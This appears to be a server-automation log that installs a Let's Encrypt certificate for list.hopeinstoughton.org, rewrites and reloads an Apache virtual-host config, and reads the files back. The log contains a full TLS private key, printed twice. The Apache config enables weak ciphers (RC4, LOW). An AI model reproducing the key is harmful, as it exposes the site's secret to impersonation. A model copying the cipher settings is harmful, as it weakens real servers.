2025-10-08 06:00:45: Establishing a connection
2025-10-08 06:00:45:
PUT: /tmp/pkp557806
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI
rm UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74
2025-10-08 06:00:45:
chmod 755 /tmp/pkp557806; /tmp/pkp557806; rm /tmp/pkp557806
2025-10-08 06:00:45:
2025-10-08 06:00:45: Establishing a connection
2025-10-08 06:00:46:
PUT: /tmp/pkp380490
#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt
cat > $temp_file <<'endmsg'
ff:11:8f:1a:0b:4b:5d:ba:a6:f8:25:4c:bd:32:c4:a3
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBbW4db0XFEVYpEMgYxnE5YjmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMjE0WhcNMjYwMTA2MDUwMjEzWjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCwCRE6gVi4tuU8XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9
c0hBRNx6Zw+/SuEG7QS+KlQGcXC4SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDE
xEA75i9C5kt8UoRmh3EZh6ZwRUWuMyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRn
zdChhwOAbmquiIaTnePZrbeCOAz5pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6
Nh5tiXGgRcHwb5ihtkUiBWC+iMYBRPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14
m5KLBwaLvNeJQOAE18hk727/NSEaBb5Wwz8pAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFO6qw5SqkFAXyWHcGlZ9HAJ0Yt+VMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAzLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AKRCxQZJYGFUjw/U
6pz7ei0mRU2HqX8v30VZ9idPOoRUAAABmcJoYP0AAAQDAEcwRQIhAN+Mg9a2SbOz
zcI2fE4Usx6sqmorrzmg4vUCT06AkkIkAiAx4c/DwXNRlVbEjeo7CoedCh65DdTb
zZww3hLMTLyF+QB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mcJoYQMAAAQDAEcwRQIhAIpJpU6JeScj/UbQUK4YhXMv1k1znhAHGwEqUKmHu7V9
AiAu38/2/yGluEfeK3o3O0ctcjQ3R74Sd7xw6TPU/8Rt0TANBgkqhkiG9w0BAQsF
AAOCAQEAJeBt+aH7Ez2z0ri8Q6ERAHB2n1HQzcvcVKT0r4bewZF8hY2EivEujcls
IAslETcGlOLYjjxTyka0Qzo2Y1lRrCHGgIdFpbWa46bQ94IzZMFnOHl4ijOjjXMV
zIIEcyHUgaHgFbZ4+sCmrmmxQDdIynvwsgYcOJm58oENBd7hrGgiFunFIeHb4RNp
v5OirqbOJDNpgmWhA3I5Mr7W3l/fMUcJWORIfB9Ng2gBicuFT1cncFji/x0tkzGS
vEpglbCmaI1yHOzQgJA22uopoqvesT+oe6qNN21t2+5qcww70wGXVIlcxWTfnPxf
WDTNf5882qqSBe9lDvKqCwErqVwoSw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwCRE6gVi4tuU8
XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9c0hBRNx6Zw+/SuEG7QS+KlQGcXC4
SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDExEA75i9C5kt8UoRmh3EZh6ZwRUWu
MyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRnzdChhwOAbmquiIaTnePZrbeCOAz5
pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6Nh5tiXGgRcHwb5ihtkUiBWC+iMYB
RPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14m5KLBwaLvNeJQOAE18hk727/NSEa
Bb5Wwz8pAgMBAAECggEAH7pCpKzTdNdiEbNzkqRQ4Yf4eMPs7mYLnKjBUNq4b9CR
DERU7QduKnVi15zjtbKlRD5L8IpogpDHpC9rmqN/iaPIsJ0RmSo/SU1yKmMln8jz
jLWvi0dj3GfsdL5VNJ8axe/7boKIeQvDN1Z3vH/sErsd1Rp1WWNtJnAcokCH1b9G
bA2c+lP0sJaVV/8B00usejBN2+yt2s7d9uGdaJAf9g+bUal+XUerQo+XuqnbIvEy
KiYqtk0TfR0Z6WLj+HlqxaUXpgJ2gx9vnHEEm/BW0jtwJEnug4g6XWEmOt1jgyay
alzPBVjda0e5hMl+i5gm072P3vtiS6Of43VI0o0jkQKBgQDb0+wyP1oteOev7Xw1
ZGiSmZ3vsPYqUPQILavr+hAiWuurPkPHMa+Jlioo5h1+zw8GWsdyrsZmKRSfhtC3
5aImNQjk0qq6YJoOgrmnalE0qOKABkRQjMrr2YivSuA2YYOQ3ytAFe1rJiqRCtH7
1zZT9gniTRmCZHAM+7T89RJaAwKBgQDNAGxnfEMcg9ZrnkuMMPOome2/W+WL0QXB
63NUVfXjHxjYjLh6dcaW87XNV8jYsvZB2uCr+e3nYU/TFfjeGnavY5PcYo3JWx27
I1TD3SlifpS3wUvVtPE0LOGpxlVLkvGHg/8efin54Lfxzt/c4rQQLZJDcrRY0RVz
rB4I59jQYwKBgQCxnwjoiNv6hgje1AtasOj2G33L4Lbm9kZYHV8e6w0CVWi7EzJ8
zx7BEz65kUYf4nqHbe5eMe5JOcRaKfqXvMpKCOxIyBf/RHL2apZMOdGntRZez7F/
TGPiMgEJcny8NAq0kj5GJ/GQdGRMkeudjAVvzguqeRW1kCYht3hENFlBtQKBgGYK
GOtlyc3uvZLxxu7wCshYXiPK7TYsA66jsNNAulSjzO01Fjo2V3QZuNuOH3Xllnfv
J7fSfp2WLXKHVEnRaFQiv52KHMMmLGVSz8VyV0Ake4f/mey01P7AfE7SXvBwIvLu
O9WEvQYY2dZtv7YlzbTjyhLyjFxNLl1WRdju9le7AoGAT1yOBDQDHEg4jbrAW3Pj
G9TTuwsWr3bONGxZulwhgjl23S5VrKUu9L7IAfCq5d7FeRZ3rHtOKSjk7f7s5z+F
M3rLdFCgGstTqCAH3ZYqPMHlsxnktzjGCZfUFjHWB2EhKStoCFKqj6gyrKzyioKb
MTXm3ECq2kQ1BBFbQhI9uCU=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-08 06:00:46:
chmod 755 /tmp/pkp380490; /tmp/pkp380490; rm /tmp/pkp380490
2025-10-08 06:00:46:
dir=/etc/ssl/certs
2025-10-08 06:00:46:
PUT: /tmp/pkp824130
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-08 06:00:46:
chmod 755 /tmp/pkp824130; /tmp/pkp824130; rm /tmp/pkp824130
2025-10-08 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:00:46:
PUT: /tmp/pkp605839
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi
2025-10-08 06:00:46:
chmod 755 /tmp/pkp605839; /tmp/pkp605839; rm /tmp/pkp605839
2025-10-08 06:00:46:
2025-10-08 06:00:46:
PUT: /tmp/pkp790459
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-08 06:00:46:
chmod 755 /tmp/pkp790459; /tmp/pkp790459; rm /tmp/pkp790459
2025-10-08 06:00:46:
.
2025-10-08 06:00:46: Establishing a connection
2025-10-08 06:00:46:
PUT: /tmp/pkp525017
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-08 06:00:46:
chmod 755 /tmp/pkp525017; /tmp/pkp525017; rm /tmp/pkp525017
2025-10-08 06:00:46:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-08 06:00:46:
PUT: /tmp/pkp930362
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:46:
chmod 755 /tmp/pkp930362; /tmp/pkp930362; rm /tmp/pkp930362
2025-10-08 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 1431
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:00:46:
PUT: /tmp/pkp911765
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:46:
chmod 755 /tmp/pkp911765; /tmp/pkp911765; rm /tmp/pkp911765
2025-10-08 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt 5405
ff:11:8f:1a:0b:4b:5d:ba:a6:f8:25:4c:bd:32:c4:a3
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBbW4db0XFEVYpEMgYxnE5YjmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMjE0WhcNMjYwMTA2MDUwMjEzWjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCwCRE6gVi4tuU8XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9
c0hBRNx6Zw+/SuEG7QS+KlQGcXC4SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDE
xEA75i9C5kt8UoRmh3EZh6ZwRUWuMyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRn
zdChhwOAbmquiIaTnePZrbeCOAz5pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6
Nh5tiXGgRcHwb5ihtkUiBWC+iMYBRPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14
m5KLBwaLvNeJQOAE18hk727/NSEaBb5Wwz8pAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFO6qw5SqkFAXyWHcGlZ9HAJ0Yt+VMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAzLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AKRCxQZJYGFUjw/U
6pz7ei0mRU2HqX8v30VZ9idPOoRUAAABmcJoYP0AAAQDAEcwRQIhAN+Mg9a2SbOz
zcI2fE4Usx6sqmorrzmg4vUCT06AkkIkAiAx4c/DwXNRlVbEjeo7CoedCh65DdTb
zZww3hLMTLyF+QB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mcJoYQMAAAQDAEcwRQIhAIpJpU6JeScj/UbQUK4YhXMv1k1znhAHGwEqUKmHu7V9
AiAu38/2/yGluEfeK3o3O0ctcjQ3R74Sd7xw6TPU/8Rt0TANBgkqhkiG9w0BAQsF
AAOCAQEAJeBt+aH7Ez2z0ri8Q6ERAHB2n1HQzcvcVKT0r4bewZF8hY2EivEujcls
IAslETcGlOLYjjxTyka0Qzo2Y1lRrCHGgIdFpbWa46bQ94IzZMFnOHl4ijOjjXMV
zIIEcyHUgaHgFbZ4+sCmrmmxQDdIynvwsgYcOJm58oENBd7hrGgiFunFIeHb4RNp
v5OirqbOJDNpgmWhA3I5Mr7W3l/fMUcJWORIfB9Ng2gBicuFT1cncFji/x0tkzGS
vEpglbCmaI1yHOzQgJA22uopoqvesT+oe6qNN21t2+5qcww70wGXVIlcxWTfnPxf
WDTNf5882qqSBe9lDvKqCwErqVwoSw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwCRE6gVi4tuU8
XsgK67QvWh2qGOrPmp1RJrUL9taz/kjs9TB9c0hBRNx6Zw+/SuEG7QS+KlQGcXC4
SSm+RLTzJ6sjPCAJnpGLltTpJFLwzFFEFGDExEA75i9C5kt8UoRmh3EZh6ZwRUWu
MyC/O+qO2ZudsrluB0Aa/QhJc/OnCq3X0IRnzdChhwOAbmquiIaTnePZrbeCOAz5
pNley1e1IcJ/lNWF9LVZeeOQuXmCHVHRctK6Nh5tiXGgRcHwb5ihtkUiBWC+iMYB
RPiFOUjtbm1DJLZ02wdEIRXLgDNWYUbggS14m5KLBwaLvNeJQOAE18hk727/NSEa
Bb5Wwz8pAgMBAAECggEAH7pCpKzTdNdiEbNzkqRQ4Yf4eMPs7mYLnKjBUNq4b9CR
DERU7QduKnVi15zjtbKlRD5L8IpogpDHpC9rmqN/iaPIsJ0RmSo/SU1yKmMln8jz
jLWvi0dj3GfsdL5VNJ8axe/7boKIeQvDN1Z3vH/sErsd1Rp1WWNtJnAcokCH1b9G
bA2c+lP0sJaVV/8B00usejBN2+yt2s7d9uGdaJAf9g+bUal+XUerQo+XuqnbIvEy
KiYqtk0TfR0Z6WLj+HlqxaUXpgJ2gx9vnHEEm/BW0jtwJEnug4g6XWEmOt1jgyay
alzPBVjda0e5hMl+i5gm072P3vtiS6Of43VI0o0jkQKBgQDb0+wyP1oteOev7Xw1
ZGiSmZ3vsPYqUPQILavr+hAiWuurPkPHMa+Jlioo5h1+zw8GWsdyrsZmKRSfhtC3
5aImNQjk0qq6YJoOgrmnalE0qOKABkRQjMrr2YivSuA2YYOQ3ytAFe1rJiqRCtH7
1zZT9gniTRmCZHAM+7T89RJaAwKBgQDNAGxnfEMcg9ZrnkuMMPOome2/W+WL0QXB
63NUVfXjHxjYjLh6dcaW87XNV8jYsvZB2uCr+e3nYU/TFfjeGnavY5PcYo3JWx27
I1TD3SlifpS3wUvVtPE0LOGpxlVLkvGHg/8efin54Lfxzt/c4rQQLZJDcrRY0RVz
rB4I59jQYwKBgQCxnwjoiNv6hgje1AtasOj2G33L4Lbm9kZYHV8e6w0CVWi7EzJ8
zx7BEz65kUYf4nqHbe5eMe5JOcRaKfqXvMpKCOxIyBf/RHL2apZMOdGntRZez7F/
TGPiMgEJcny8NAq0kj5GJ/GQdGRMkeudjAVvzguqeRW1kCYht3hENFlBtQKBgGYK
GOtlyc3uvZLxxu7wCshYXiPK7TYsA66jsNNAulSjzO01Fjo2V3QZuNuOH3Xllnfv
J7fSfp2WLXKHVEnRaFQiv52KHMMmLGVSz8VyV0Ake4f/mey01P7AfE7SXvBwIvLu
O9WEvQYY2dZtv7YlzbTjyhLyjFxNLl1WRdju9le7AoGAT1yOBDQDHEg4jbrAW3Pj
G9TTuwsWr3bONGxZulwhgjl23S5VrKUu9L7IAfCq5d7FeRZ3rHtOKSjk7f7s5z+F
M3rLdFCgGstTqCAH3ZYqPMHlsxnktzjGCZfUFjHWB2EhKStoCFKqj6gyrKzyioKb
MTXm3ECq2kQ1BBFbQhI9uCU=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
